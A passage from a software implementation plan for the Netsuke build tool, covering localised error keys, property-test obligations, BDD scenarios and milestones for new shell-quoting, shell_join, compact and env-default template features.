+STDLIB_SHELL_QUOTE_CONTROL_CHARACTER => "stdlib.shell.quote.control_character", +STDLIB_SHELL_DIALECT_INVALID => "stdlib.shell.dialect_invalid", +STDLIB_SHELL_JOIN_NOT_SEQUENCE => "stdlib.shell.join.not_sequence", +STDLIB_SHELL_JOIN_ITEM_NOT_STRING => "stdlib.shell.join.item_not_string", +STDLIB_SHELL_POSITIONAL_OPTION => "stdlib.shell.positional_option", +STDLIB_COLLECTIONS_COMPACT_NOT_SEQUENCE + => "stdlib.collections.compact.not_sequence", +MANIFEST_ENV_ARGS_ERROR => "manifest.env.args_error", +MANIFEST_ENV_DEFAULT_NOT_STRING => "manifest.env.default_not_string", +``` + +English text (`locales/en-GB/messages.ftl` and `locales/en-US/messages.ftl`): + +```text +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote expects a string, received { $kind }. +stdlib.shell.quote.control_character = A value containing a null byte, carriage return, or line feed cannot be quoted. +stdlib.shell.dialect_invalid = Unknown shell dialect { $dialect }; expected one of { $accepted }. +stdlib.shell.join.not_sequence = shell_join expects a sequence, received { $kind }. +stdlib.shell.join.item_not_string = shell_join item { $index } is { $kind }, not a string. +stdlib.shell.positional_option = { $filter } takes its options by keyword; write { $example }. +stdlib.collections.compact.not_sequence = compact expects a sequence, received { $kind }. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = env default must be a string, received { $kind }. +``` + +The first two are wrappers; the rest are details fed through them as +`{ $details }`, exactly as `stdlib.which.cwd_mode_invalid` feeds +`stdlib.which.args_error` through `args_message` +(`src/stdlib/which/mod.rs:262-266`). `stdlib.shell.unquotable` wraps the +control-character detail; every other shell detail wraps +`stdlib.shell.args_error`, and the `env` detail wraps +`manifest.env.args_error`. The existing `manifest.env.missing` and +`manifest.env.invalid_utf8` messages are **not** given codes: constraint 1 +freezes their rendered text. + +The `{ $variable }` name set must be identical in all 35 catalogues; wording +and order may differ, but the bracketed code must be copied verbatim, as +`locales/fr/messages.ftl:343-347` does today. Follow +`docs/localization-styleguide.md`. + +Eleven keys, not five. The first draft had five and was wrong on two counts: D4 +and D8 each need a key the draft claimed to save, and D9 adds the two wrappers +that make the diagnostics locale-stable. Roughly 385 catalogue lines. See R1. + +## Verification plan + +Verification is co-designed with the implementation: the split between +`is_recipe_admissible` (whether a value may be quoted) and `quote_word` (how it +is encoded) — both in `src/shell_word.rs`, not in the `policy.rs`/`quoting.rs` +pair an earlier draft proposed — exists precisely so the encoding obligation +can be discharged against a real shell while the policy obligation stays a +cheap total function. + +### Non-trivial axioms + +- **AXIOM-1**: `shell_quote::Sh` emits text that a POSIX `sh` decodes back to + the input byte string. This is a third-party contract; it is *exercised*, not + proven, by OBL-SH-ROUNDTRIP running a real `/bin/sh`. +- **AXIOM-2**: Windows PowerShell decodes a single-quoted string by collapsing + each `''` to `'` and treating every other character literally. Exercised + against real `powershell.exe` only on Windows hosts; discharged against an + explicit inverse model elsewhere. Residual gap recorded below. +- **AXIOM-3**: `shlex::split` implements POSIX word splitting faithfully enough + to serve as an oracle for "this text is exactly one word". + `docs/formal-verification-methods-in-netsuke.md:277` records that whether + `shlex::split` is part of the semantic acceptance contract or only a guard is + an open question; this plan uses it only as a *test oracle*, alongside the + real-shell round trip, never as the sole evidence. +- **AXIOM-4 (corrected)**: MiniJinja's `Kwargs::get::>` yields + `None` for an absent key, for an explicit `none`, and for an explicit + undefined — all three collapse to "no value" — and yields `Some(value)` only + for a **defined** argument. There is therefore no way to tell an absent key + from an explicit `none` after the read, which is why no `is_none`/ + `is_undefined` guard can fire on the returned `Value` (see D4 and the + `Surprises & discoveries` entry for the vendored-source evidence); + `assert_all_used` rejects unconsumed *keyword* arguments with a message + containing "unknown keyword argument". A trailing **positional** argument is + different: it yields a bare `TooManyArguments` with **no detail**, naming + neither the filter nor the expected keyword. The first draft assumed + `Option` raises on a type mismatch; it does not, it stringifies (D4). + All three behaviours are exercised: the unknown-keyword case, the + non-string-`default` case, and the positional case. +- **AXIOM-5**: A Ninja `command =` value is single-line, so rejecting `\r` and + `\n` loses no expressible manifest. + +Verus is not used: `docs/roadmap.md:428-433` records the accepted phase-1 +boundary that Verus is "optional and proof-kernel-only". Kani is not used +either: the invariants below are over unbounded UTF-8 strings, where a bounded +model checker would explore a strictly weaker domain than the property tests, +and the strongest available evidence — differential execution against the real +`/bin/sh` — is outside any model checker's reach. Both exclusions are choices, +not omissions. + +### Obligations + +**OBL-SH-ROUNDTRIP** — POSIX quoting is faithful. + +- Obligation: for every `s` containing no `\0`, `\r`, or `\n`, running + `sh -c 'printf %s ' + quote_for_recipe(Sh, s)` writes exactly `s` to stdout. +- Method: property test executing a real `/bin/sh` subprocess, `#[cfg(unix)]`. +- Rationale: this is the only method that tests the actual composition of + Netsuke's policy layer with the third-party encoder and a real shell. A pure + unit test would restate `shell-quote`'s own tests. +- Domain: a `proptest` string strategy deliberately biased toward shell + metacharacters. Draw characters from an explicit alphabet containing ASCII + letters, digits, space, tab, the single quote, the double quote, the dollar + sign, the backtick, the backslash, the asterisk, the question mark, the + semicolon, the ampersand, the vertical bar, the angle brackets, the round, + square, and curly brackets, the hash, the tilde, and the exclamation mark, + plus a slice of non-ASCII UTF-8. Lengths run from zero to twenty-four + characters, filtered only for the three forbidden control characters. +- Artefact: `tests/shell_filter_property_tests.rs`. +- Evidence: `cargo nextest run --test shell_filter_property_tests`. Before + `quote_for_recipe` exists the test fails to compile; after a naive + implementation it must fail on the first metacharacter case. +- Non-vacuity: the strategy is classified with `proptest`'s + `prop_assume!`-free design plus an explicit assertion that, across a fixed + seeded run, at least one generated case contained a single quote, at least + one contained a dollar sign, and at least one contained a space — asserted by + a companion deterministic test over a handwritten witness table so the + property cannot pass vacuously on an all-alphanumeric sample. **Negative + control**: a sibling `#[test]` applies a deliberately broken quoter (wrap in + `"` only) to the witness `$HOME 'x'` through the same subprocess harness and + asserts the harness *rejects* it. If that control ever passes, the harness is + not measuring anything and the obligation is undischarged. + +**OBL-PS-ROUNDTRIP** — PowerShell quoting is faithful. + +- Obligation: for every `s` containing no `\0`, `\r`, or `\n`, + `decode_powershell_single_quoted(quote_for_recipe(PowerShell, s)) == s`. +- Method: property test against an explicit inverse model, plus a + `#[cfg(windows)]` real-`powershell.exe` round trip of the same shape. +- Rationale: CI for this repository runs Linux and Windows. On Linux the model + is the only available oracle; on Windows the real interpreter discharges + AXIOM-2 directly. +- Domain: the same string strategy as OBL-SH-ROUNDTRIP. +- Artefact: `tests/shell_filter_property_tests.rs`. +- Evidence: the Linux run proves model conformance; the Windows CI job proves + the model matches the interpreter. +- Non-vacuity: the model must be written as a *decoder* (strip the outer quotes, + collapse `''`), never by calling the encoder. A negative control feeds the + decoder a string quoted with the POSIX encoder and asserts it does **not** + round-trip. +- Residual gap: on a non-Windows host, AXIOM-2 rests on the model. Stated here + rather than hidden. + +**OBL-ONE-WORD** — a quoted value is exactly one shell word. + +- Obligation: for every admissible `s`, + `shlex::split("e_for_recipe(Sh, s)?) == Some(vec![s.to_owned()])`. +- Method: property test (pure, no subprocess), `cases: 128`. +- Rationale: this is the literal claim `RM-3.14.8` makes — "optional + `RUSTFLAGS` construction without shell parameter expansion". It is also the + property the IR's own `shlex` guard depends on. +- Domain: as above, plus the empty string as an explicit boundary witness. +- Artefact: `tests/shell_filter_property_tests.rs`. +- Non-vacuity: an assertion that `shlex::split` returns two or more words for + the *unquoted* form of at least one witness (`a b`), proving the oracle + distinguishes quoted from unquoted. + +**OBL-JOIN-SPLIT** — `shell_join` is the inverse of word splitting. + +- Obligation: for every list `xs` of admissible strings, + `shlex::split(&join_for_recipe(Sh, xs)?) == Some(xs)`. +- Method: property test, `cases: 128`. +- Domain: `prop::collection::vec(word_strategy(), 0..6)`, including the empty + list (which must yield the empty string) and lists containing empty strings. +- Artefact: `tests/shell_filter_property_tests.rs`. +- Non-vacuity: classify and assert that the sample includes at least one list + with an element containing a space and at least one with an empty element; + negative control asserts a naive `xs.join(" ")` fails the same property. + +**OBL-COMPACT** — `compact` is an order-preserving filter with a stable +predicate. + +- Obligation: for every input sequence `xs`, `compact(xs)` (a) contains no + `none`, undefined, or empty-string member; (b) is a subsequence of `xs`; (c) + satisfies `compact(compact(xs)) == compact(xs)`; and (d) equals `xs` when + `xs` contains no droppable member. +- Method: property test, `cases: 128`. +- Rationale: four connected invariants over an unbounded domain; a table test + would not establish the subsequence or idempotence claims. +- Domain: a `prop_oneof!` strategy producing `Value::UNDEFINED`, + `Value::from(())`, `Value::from("")`, `Value::from(0)`, `Value::from(false)`, + and non-empty strings, collected into vectors of length 0..8. +- Artefact: `tests/std_filter_tests/collection_filters.rs`. +- Non-vacuity: assert that the generated sample contains at least one droppable + and one retained member across the run, and add an explicit witness case for + `[0, false, '', none, 'x']` yielding `[0, false, 'x']` — which fails + immediately under a naive truthiness-based implementation. That naive + implementation is the negative control. + +**OBL-ENV-DEFAULT** — the default substitutes for absence only. + +- Obligation: with an injected `EnvReader`, `env(n, default=d)` returns the + variable's value when present (including when that value is `""`), returns + `d` when absent, raises `UndefinedError` with the unchanged message when + absent and `d` is omitted or `none`, and raises `InvalidOperation` with the + unchanged message when the value is not UTF-8 *even when `d` is supplied*. +- Method: parameterized `rstest` over the finite partition, plus the two + existing `insta` snapshots re-run unchanged. +- Rationale: the domain is a genuinely finite partition of reader outcomes + crossed with default presence; enumeration is exhaustive. +- Domain: `{present-nonempty, present-empty, absent, not-unicode}` × + `{no default, default='fallback'}` — 8 cases, all enumerated at the + `env_var_with_default` seam in `src/manifest/tests/env_function.rs`. The + third default state, `default=none`, is *not* a distinct arm there: the + `Option` read collapses it onto "no default" before the seam sees it + (D4), so it is enumerated once at the template layer instead, by + `explicit_none_default_is_equivalent_to_omitting_it`. +- Artefact: `tests/manifest_env_tests.rs` and + `src/manifest/tests/env_function.rs`. +- Non-vacuity: the reader is an injected closure that records the key it was + asked for, so a test asserting `default` was returned also asserts the reader + was actually consulted — an implementation that returned `default` without + reading fails. The unchanged `insta` snapshots are the negative control for + diagnostic drift: any wording change fails them. + +**OBL-DIALECT-TOTAL** — dialect selection is total and its error is truthful. + +- Obligation: every `RecipeShell` variant maps to exactly one `ShellDialect`; + every name in `ShellDialect::ALL` parses; every other name fails with an + error naming the rejected value and enumerating exactly `ShellDialect::ALL`. +- Method: exhaustive parameterized test over the three-variant `RecipeShell` + and the two-element `ALL` list, plus a test asserting the rendered error text + contains every element of `ALL` and nothing else from a near-miss list + (`bash`, `cmd`, `zsh`, `pwsh`). +- Rationale: the domain is finite and small; exhaustive enumeration is the + strongest available evidence. +- Artefact: `src/shell_word.rs`'s `#[cfg(test)] mod tests`. +- Non-vacuity: the near-miss list guarantees the "enumerates exactly" assertion + can fail; `bash` in particular is the name D3 deliberately rejects. + +**OBL-NINJA-STABLE** — extracting `quote_word` changes no generated output. + +- Obligation: the Ninja text generated for every existing manifest fixture is + byte-identical before and after EP-M3. +- Method: the existing `insta` snapshot suite under `tests/snapshots/ninja/` + and `src/snapshots/`, re-run without re-acceptance. +- Artefact: existing. +- Evidence: `make test-nextest`, then + `git status --short src/snapshots tests/snapshots` prints nothing. +- Non-vacuity: the suite already fails when generation changes — it caught the + 3.14.7 dollar-escaping work. To confirm it is live for this refactor, + temporarily alter `quote_word` to emit a double quote instead of a single + quote, observe at least one snapshot fail, then revert. Record the failing + snapshot name in `Artefacts and notes`. + +**OBL-NO-ESCAPE** — quoted output survives template rendering verbatim. + +- Obligation: rendering `{{ value | shell_quote(dialect='sh') }}` through the + manifest path emits the quoter's bytes unchanged, with no HTML or XML + escaping applied, for values containing `&`, `<`, `>`, `"`, and `'`. +- Method: parameterized `rstest` rendering through the real manifest loader, + asserting byte equality against the quoter's direct output. +- Rationale: `src/stdlib/register.rs::register_legacy_boolean_formatter` + installs a formatter that delegates to `escape_formatter`, which honours the + environment's auto-escape setting. MiniJinja's default auto-escape callback + keys off the template name's extension, and + `src/manifest/jinja_macros/invocation.rs:63` shows the codebase already + branches on `AutoEscape::None`. Nothing in the plan guarantees the manifest + path is never auto-escaping, and an escaped `&` inside a recipe would be + a silent corruption of the very output this feature exists to protect. +- Domain: the five HTML-significant characters, plus one witness combining + them. +- Artefact: `tests/shell_filter_property_tests.rs`. +- Non-vacuity: the assertion compares against `quote_for_recipe`'s own output, + so it fails if either side changes. Negative control: construct an + environment with auto-escaping forced on and assert the same template *does* + differ, proving the test can detect escaping at all. + +**OBL-CONTEXT** — quoting is only correct in unquoted argv position. + +- Obligation: rendering `{{ v | shell_quote(dialect='sh') }}` in unquoted + position yields text a POSIX shell splits into one field equal to `v`; + rendering the same filter *inside* an existing pair of double quotes yields + text containing the quoter's literal quote characters, which is a manifest + defect rather than a filter defect. +- Method: parameterized `rstest` rendering a whole manifest through the real + loader, once per position, asserting the generated Ninja `command =` text. +- Rationale: this is the plan's own worst failure mode. The first draft's + acceptance transcript placed the interpolation inside `"..."`, where + `printf '%s' "RUSTFLAGS=-D' warnings'"` emits the quote characters as data. + Every other obligation exercises the filter in isolation and is structurally + blind to it. +- Domain: the two positions, with a value containing a space and a single + quote. +- Artefact: `tests/shell_filter_property_tests.rs`. +- Evidence: the unquoted case matches the documented example byte for byte; the + double-quoted case is pinned as the *documented wrong answer*, so a future + change that silently "fixes" it fails the test and forces a decision. +- Non-vacuity: the two cases must differ. If they ever produce equal output the + test is measuring nothing. + +**OBL-JOIN-QUOTE-AGREE** — `shell_join` is `shell_quote` distributed. + +- Obligation: for every dialect `d` and every list `xs` of admissible strings, + `join_for_recipe(d, xs)?` equals the elements individually passed through + `quote_for_recipe(d, _)?` and joined with one space. +- Method: property test, `cases: 128`, both dialects. +- Rationale: the two filters share a `dialect` argument and a documented + promise of "the same rules". This is the only obligation that makes that a + fact rather than a docstring, and it is what earns `dialect` its place on + both filters. +- Artefact: `tests/shell_filter_property_tests.rs`. +- Non-vacuity: include a list whose elements need quoting and one that does + not; a `join` implementation that quoted only non-inert elements would pass a + weaker test and must fail this one. + +**OBL-KIND-GATE** — the sequence and string gates reject what `try_iter` +accepts. + +- Obligation: `compact` and `shell_join` reject a mapping, a string, `none`, + undefined, a number, and a boolean subject, each with an error naming the + received kind; `shell_quote` rejects every non-string subject including a + MiniJinja object, with no `to_string` fallback. +- Method: exhaustive parameterized `rstest` over the finite `ValueKind` set. +- Rationale: D8 exists because `Value::try_iter()` silently accepts three of + these. The domain is a small closed enumeration, so exhaustive enumeration is + the strongest available evidence. +- Artefact: `tests/std_filter_tests/collection_filters.rs` and + `tests/shell_filter_property_tests.rs`. +- Non-vacuity: the negative control is a `try_iter`-based implementation, which + must pass `{{ [1,2] | compact }}` and fail `{{ 'abc' | shell_join }}` and + `{{ my_map | compact }}` for the intended reason. + +**OBL-COMPOSITION** — the filters compose with the rest of the pipeline. + +- Obligation: for each `RecipeShell` variant, a manifest whose recipe + interpolates `shell_quote`/`shell_join` output containing a single quote and + a dollar sign renders, lowers through `interpolate_command_with_bindings`, + and generates Ninja text that the corresponding interpreter executes to the + intended argument vector. For a command-list recipe, the same holds after the + entry passes through `shell_single_quote`'s `eval` payload wrapper. +- Method: integration test over the full pipeline, plus a real-interpreter + execution assertion where the host provides one (`sh` on Unix, + `powershell.exe` on Windows CI). +- Rationale: every other obligation tests an encoder in isolation. + `is_valid_command_for_shell` (`src/ir/cmd_interpolate/mod.rs:226-231`) returns + `true` unconditionally for PowerShell, so nothing downstream checks that + path at all; and the command-list renderer's input distribution changes once + a filter routinely emits single quotes. Neither is covered by any isolated + test. +- Domain: three `RecipeShell` variants × {scalar command, command list}. +- Artefact: `tests/shell_filter_composition_tests.rs` (new; a top-level + `tests/*.rs` so `tests/integration_test_wiring_tests.rs` discovers it). +- Evidence: assert the final `command =` text *and*, where an interpreter is + available, the argument vector it actually produces. +- Non-vacuity: include a value containing `$`, so the assertion also exercises + ADR-014's `$`-doubling; a seeded fault that drops the `$$` escaping must fail + it. + +**OBL-QUERY-SURFACE** — the manifest-query surface stays coherent. + +- Obligation: under `register_manifest_query`, `compact`, `shell_quote`, and + `shell_join` render successfully, and `env('X', default='y')` fails with the + "disabled while rendering `netsuke help targets`" marker — not with an + argument-count error. +- Method: parameterized `rstest` rendering each template against an environment + built by `crate::stdlib::register_manifest_query`. +- Rationale: R8 records that nothing else enforces this; the `env` stub's arity + changes in EP-M1 and would otherwise fail with the wrong diagnostic. +- Artefact: `tests/stdlib_manifest_query_tests.rs` (new; must be a top-level + `tests/*.rs` so `tests/integration_test_wiring_tests.rs` discovers it). +- Non-vacuity: assert the *specific* marker text via + `stdlib::is_manifest_query_disabled_error`-equivalent substring, not merely + "an error occurred". Negative control: assert that the same template under + `register_with_config` does **not** produce that marker. + +### Behavioural specification (rstest-bdd) + +Added to `tests/features/stdlib.feature`. The steps already exist in +`tests/bdd/steps/stdlib/` — `a stdlib workspace`, +`I render the stdlib template {template:string} without context`, +`the stdlib output equals {expected:string}`, and +`the stdlib error contains {fragment:string}` — so **no new step module is +needed** and `tests/bdd/steps/mod.rs` is untouched. Confirm each step's exact +wording in `tests/bdd/steps/stdlib/{rendering,assertions,workspace}.rs` before +writing the feature; if a needed step is missing, add it to the existing module +rather than creating a new one. + +```gherkin + Scenario: compact drops empty and null members but keeps zero + Given a stdlib workspace + When I render the stdlib template "{{ [0, '', none, 'x'] | compact | join(',') }}" without context + Then the stdlib output equals "0,x" + + Scenario: shell_quote makes a metacharacter-bearing value one sh word + Given a stdlib workspace + When I render the stdlib template "{{ \"a b '$HOME'\" | shell_quote(dialect='sh') }}" without context + Then the stdlib output equals "a' b '\\''$HOME'\\'" + + Scenario: shell_join quotes each element separately + Given a stdlib workspace + When I render the stdlib template "{{ ['-C', 'target-cpu=native', 'a b'] | shell_join(dialect='sh') }}" without context + Then the stdlib output equals "-C target-cpu'=native' a' b'" + + Scenario: shell_quote rejects an unknown dialect and names the accepted set + Given a stdlib workspace + When I render the stdlib template "{{ 'x' | shell_quote(dialect='bash') }}" without context + Then the stdlib error contains "netsuke::jinja::shell::args" + And the stdlib error contains "powershell" + + Scenario: shell_quote rejects a value containing a line feed + Given a stdlib workspace + When I render the stdlib template "{{ 'a\nb' | shell_quote(dialect='sh') }}" without context + Then the stdlib error contains "netsuke::jinja::shell::unquotable" + + Scenario: shell filter errors keep their code when localised + Given a stdlib workspace + And the localisation locale is "es-ES" + When I render the stdlib template "{{ 'x' | shell_quote(dialect='bash') }}" without context + Then the stdlib error contains "netsuke::jinja::shell::args" + + Scenario: shell_join rejects a string subject rather than quoting its characters + Given a stdlib workspace + When I render the stdlib template "{{ 'abc' | shell_join(dialect='sh') }}" without context + Then the stdlib error contains "netsuke::jinja::shell::args" + + Scenario: shell_quote rejects a positional dialect + Given a stdlib workspace + When I render the stdlib template "{{ 'x' | shell_quote('sh') }}" without context + Then the stdlib error contains "netsuke::jinja::shell::args" + +``` + +The `env` scenarios go to `tests/features/manifest.feature` instead, against +three new fixtures under `tests/data/`. The correction is forced by the harness: +`tests/bdd/steps/stdlib/rendering.rs:101` calls `stdlib::register_with_config` +only, and `env` belongs to the *manifest* loader +(`src/manifest/registration.rs`), not to the stdlib — the stdlib's `env` is the +disabled stub. A `{{ env(...) }}` scenario written under +`When I render the stdlib template …` would fail with an unknown-function error +and prove nothing about the manifest. Confirmed during EP-M1 by running the +scenario both ways. + +```gherkin + Scenario: An absent environment variable falls back to its default + Given the environment variable "NETSUKE_UNDEFINED_ENV" is unset + And the manifest file "tests/data/jinja_env_default.yml" is parsed + When the manifest is checked + Then the first target command is "echo fallback" + + Scenario: A present environment variable ignores its default + Given the environment variable "NETSUKE_TEST_ENV" is set to "world" + And the manifest file "tests/data/jinja_env_present_with_default.yml" is parsed + When the manifest is checked + Then the first target command is "echo world" + + Scenario: A non-string default is rejected rather than stringified + Given the environment variable "NETSUKE_TEST_ENV" is set to "world" + And the manifest file "tests/data/jinja_env_default_non_string.yml" is parsed + When the parsing result is checked + Then parsing the manifest fails + And the error message contains "netsuke::jinja::env::args" +``` + +The expected `sh` strings above are **verified**, not guessed. They are the +`shell-quote` crate's *fragmented* form, derived from `escape_chars` and +`Char::from` in `shell-quote-0.7.2/src/{sh,ascii}.rs` and confirmed by running +the quoted text through a real `/bin/sh`. Two consequences are +counter-intuitive and must not be "corrected" during implementation: + +1. Quoting opens and closes around runs, so `a b` becomes `a' b'`, not + `'a b'`. Alphanumerics, comma, full stop, solidus, underscore, and hyphen + are the only characters the crate treats as inert. +2. The equals sign is **not** inert, so `target-cpu=native` becomes + `target-cpu'=native'`. This is correct but surprising in flag-heavy output. + +If an observed value differs from the above, the crate version has changed; +record that in `Surprises & discoveries` and re-derive, rather than adjusting +the implementation to match a guess. + +## Plan of work + +### Stage A — orient and confirm (no code changes) + +Read, in order: this plan's "Context and orientation"; `AGENTS.md`; +`docs/adr-008-environment-seam-taxonomy.md`; `docs/netsuke-design.md` §§2.6, +4.4, 4.5; `docs/rfcs/0006-ansible-inspired-template-standard-library.md` §§8.9 +and 13; `docs/users-guide.md:331-399` and `:458-495`; +`docs/stdlib-yaml-and-jinja-guide.md` in full; +`docs/rust-testing-with-rstest-fixtures.md`; `docs/rstest-bdd-users-guide.md`; +`docs/rust-doctest-dry-guide.md`; +`docs/reliable-testing-in-rust-via-dependency-injection.md`; +`docs/documentation-style-guide.md`; `docs/localization-styleguide.md`; +`docs/translators-guide.md` §§4-5. + +Two house rules trip cold executors on exactly this shape of work, so they are +repeated here rather than left to the blanket "read `AGENTS.md`": + +- `.expect()` is banned outside `#[test]` and `#[cfg(test)]` bodies, and + `allow-expect-in-tests = true` does **not** cover shared test fixtures. The + witness tables and negative-control helpers under OBL-SH-ROUNDTRIP and + OBL-COMPACT are exactly where the temptation arises. Return `Result` and use + `?`. +- Function attributes go **after** doc comments, and single-line function + bodies are preferred where they fit. + +Load these skills before writing code: `rust-router` (then whichever single +follow-on it routes to — most likely `rust-types-and-apis` for the +`ShellDialect` surface and `rust-errors` for the policy error), +`rust-unit-testing`, `proptest`, `hexagonal-architecture`, +`arch-decision-records` (for ADR-041), `en-gb-oxendict`, and `commit-message`. + +Then confirm three facts against the working tree, because the plan depends on +them: + +1. `grep -n "shell_escape\|shell_join\|compact" -r src/` returns nothing that is + a Jinja helper. **Checked at `0ba6672f`: confirmed.** The only hits are + unrelated identifiers. +2. `ls docs/adr-*.md | sort | tail -1` shows the highest ADR number, and + `git ls-remote --heads origin` plus + `git ls-tree -r --name-only origin/ -- docs/` for each in-flight + branch shows no collision with the number this plan picks. **Checked at + `0ba6672f`: `adr-026` is now the highest, so the planned `adr-021` was + already taken twice over — by the upstream fetch-policy ADR and by five + later ones. This plan's ADR is renumbered to `adr-041` and every reference + updated.** Re-check at rebase time: the numbering history in this repository + includes several genuine collisions, so the number is a claim to verify, not + a constant. + + **Re-checked at `48ea13a3`: renumbered again, to `adr-041`.** The earlier + renumber to `adr-027` has itself gone stale: + `docs/adr-027-command-placeholder-contract.md` exists and is an unrelated + decision, so the number was already occupied at the moment it was chosen. + `adr-038` is the highest in this worktree. The lesson from the previous + renumber applies unchanged, and is why the sweep now reaches past `origin`: + the two numbers immediately above `adr-038` are both in flight elsewhere — + `adr-039` on `jm5/kani-change-scoped-gate` and `adr-040` on + `6-1-1-split-rfc-0006-set-into-focused-child-rfcs-and-task` — and neither is + on `main`. Picking the next free number from this worktree alone would have + produced a collision. `adr-041` is free across every ref, local and remote, + and across all 26 worktrees. +3. `cargo tree -i shell-quote` shows the `sh` feature only. **Checked at + `0ba6672f`: confirmed** via `Cargo.toml:137` + (`default-features = false, features = ["sh"]`). + +Go/no-go: if any of the three is false, stop and escalate. + +### Stage B — red tests + +Each milestone below opens with its failing test. Do not write production code +before observing the intended failure. + +### Stage C — implementation with verification + +Milestones EP-M1 to EP-M4. + +### Stage D — documentation, reconciliation, and wide validation + +Milestone EP-M5. + +## Milestones and plateaus + +Every milestone ends with +`make check-fmt && make typecheck && make lint && +make doc-coverage && make test` +green and a commit. No milestone introduces a compatibility alias, facade, or +deprecated entry point: the crate is pre-1.0, has no external consumers, and +every caller is in-tree, so each interface is updated together with all of its +callers (see constraint 7). + +### EP-M1 — extend `src/manifest/registration.rs`, then `env(name, default=...)` + +- Identifier and outcome: the `env` and `glob` registrations live in + `src/manifest/registration.rs`; `env` accepts an optional `default` keyword + argument, type-checked rather than stringified; the manifest-query stub + accepts the same shape; both existing diagnostics are unchanged; a blocked + name still fails before the reader is called. +- Requirements: `RM-3.14.8` bullet 1, `DD-4.4`, `ADR-026`. +- **The extraction is already done.** Re-verified at `0ba6672f`: + `src/manifest/registration.rs` exists with the four planned members, and + `src/manifest/mod.rs` is 259 lines. Do not create the module and do not + re-move the four members. The first action is to move the `env` and `glob` + registrations from `src/manifest/mod.rs` into that module, committing them as + a pure move with no behaviour change and green gates so the relocation is + reviewable on its own. Re-run + `wc -l src/manifest/mod.rs src/manifest/registration.rs` first and confirm + the shape still holds; this branch is not the only writer. See R9. +- Red: add the `OBL-ENV-DEFAULT` cases to `tests/manifest_env_tests.rs` and the + unit cases to `src/manifest/tests/env_function.rs`, plus the non-string and + undefined `default` cases from D4 and the positional case from AXIOM-4. Add a + case proving a **blocked** name is still blocked when `default` is supplied — + this is the ADR-026 interaction the first draft did not consider, and it is + the one behaviour a naive implementation would get wrong by mapping absence + to the fallback before consulting the policy. Run + `cargo nextest run --test manifest_env_tests` and observe failures citing an + unexpected keyword argument. +- Green: rename `env_var_with` to `env_var_with_default`, adding the `fallback` + parameter **after** the existing `policy` parameter and keeping the policy + evaluation first; add the `tracing::debug!(fallback_used = true, ...)` line + (R10); add `env_default_from_kwargs` reading `Option` per D4; update + the registration to take `Kwargs`; update the disabled stub at + `src/stdlib/register.rs:181-184`. Add the `manifest.env.args_error` and + `manifest.env.default_not_string` keys to all 35 catalogues. Add the + `OBL-QUERY-SURFACE` `env` case to `tests/stdlib_manifest_query_tests.rs`. +- Refactor: keep `env_var_with_default` under 40 lines; extract the fallback + decision into a named predicate if the match grows a third arm. Watch + `clippy.toml`'s `too-many-arguments-threshold = 4` — prefer a small struct to + a fifth parameter. +- Acceptance evidence: `cargo build` succeeds, proving the localization audit + passes; `cargo nextest run --test manifest_env_tests` passes; the two `insta` + inline snapshots pass **without** `INSTA_FORCE_UPDATE`; `git status --short` + shows no `.snap` change; + `wc -l src/manifest/mod.rs src/manifest/registration.rs` both report under + 400. +- Conformance check: `DD-4.4`'s "It returns an error if the variable is + undefined and no `default` is provided, or if the variable contains invalid + UTF-8" is satisfied exactly; RFC 0006 §6.6's no-silent-coercion rule is + satisfied; ADR-026's ordering is preserved, which subsumes constraint 1's + snapshot requirement because the blocked diagnostic never changes; no new + dependency; trace links current. +- Recovery: two commits, revert either independently; `env()` returns to its + one-argument form and the registrations return to `src/manifest/mod.rs`. +- Remaining gaps: documentation of `default=` (EP-M5). +- Compatibility decision: none required. + +### EP-M2 — `compact` + +- Identifier and outcome: `values | compact` is available on both registration + surfaces and drops null, undefined, and empty-string members while preserving + order. +- Requirements: `RM-3.14.8` bullet 3 (partial), `DD-4.5`. +- Red: add the `OBL-COMPACT` property and the explicit witness case to + `tests/std_filter_tests/collection_filters.rs`; add the `compact` scenario to + `tests/features/stdlib.feature`. Observe the unknown-filter failure. +- Green: implement `compact_filter` in `src/stdlib/collections.rs` beside + `uniq_filter` and `flatten_filter`, and register it in `register_filters`. + Non-sequence input is rejected by `ValueKind`, per D8 — **not** through + `values.try_iter()?`, which the earlier draft of this milestone wrongly + proposed and D8 falsifies. Accept only `ValueKind::Seq` and + `ValueKind::Iterable`; raise `STDLIB_COLLECTIONS_COMPACT_NOT_SEQUENCE` for + everything else, including `Map`, `String`, `None`, and `Undefined`. That key + is already in all 35 catalogues (added with EP-M1), so no catalogue work + remains here. +- Refactor: if `src/stdlib/collections.rs` passes 400 lines, split it into a + directory module as described under "Interfaces and dependencies". +- Acceptance evidence: `cargo nextest run -E 'test(compact)'` passes; the naive + truthiness implementation (negative control) fails the witness case. +- Conformance check: `DD-4.5`'s wording is matched exactly; `compact` reaches + the manifest-query surface for free because `collections::register_filters` + is shared — confirm by adding the `compact` case to + `tests/stdlib_manifest_query_tests.rs`. +- Recovery: revert; the filter disappears with no other effect. +- Remaining gaps: documentation (EP-M5). +- Compatibility decision: none required. + +### EP-M3 — shared recipe-shell quoting seam + +- Identifier and outcome: a single `quote_word` implementation exists in + `src/shell_word.rs`; `quote_path` delegates to it; `ShellDialect` and + `StdlibConfig::with_recipe_shell` exist; generated Ninja is unchanged. This + milestone registers **no** new template helper — it is a pure structural + plateau, safe to stop at. +- Requirements: `RM-6.8.3`'s "no second quoting implementation is introduced"; + `ADR-014`. +- Red: add the `OBL-DIALECT-TOTAL` tests to `src/shell_word.rs`'s + `#[cfg(test)] mod tests`; run the OBL-NINJA-STABLE non-vacuity check + (deliberately break `quote_word`, observe a named snapshot fail, revert) and + record the snapshot name. +- Green: add `src/shell_word.rs` with the body moved from `quote_path`, plus + `ShellDialect` and `is_recipe_admissible`; reduce `quote_path` to a + delegating call; add `RecipeShell::dialect()`; add the `dialect` field and + `with_recipe_shell` builder to `StdlibConfig`. `src/recipe_shell.rs` **stays + a single file** — the reviewed boundary deliberately keeps the encoder out of + it so the module remains data-only. Do not promote it to a directory. +- Refactor: update the `//!` comment on `src/shell_word.rs` to state its + position: a leaf below IR, Ninja, and the standard library, which both + `src/ir/` and `src/stdlib/` may depend on. +- Acceptance evidence: `make test` passes; + `git status --short src/snapshots tests/snapshots` prints nothing. +- Conformance check: exactly one recipe-shell quoting implementation remains; + `src/stdlib/command/quote.rs` and 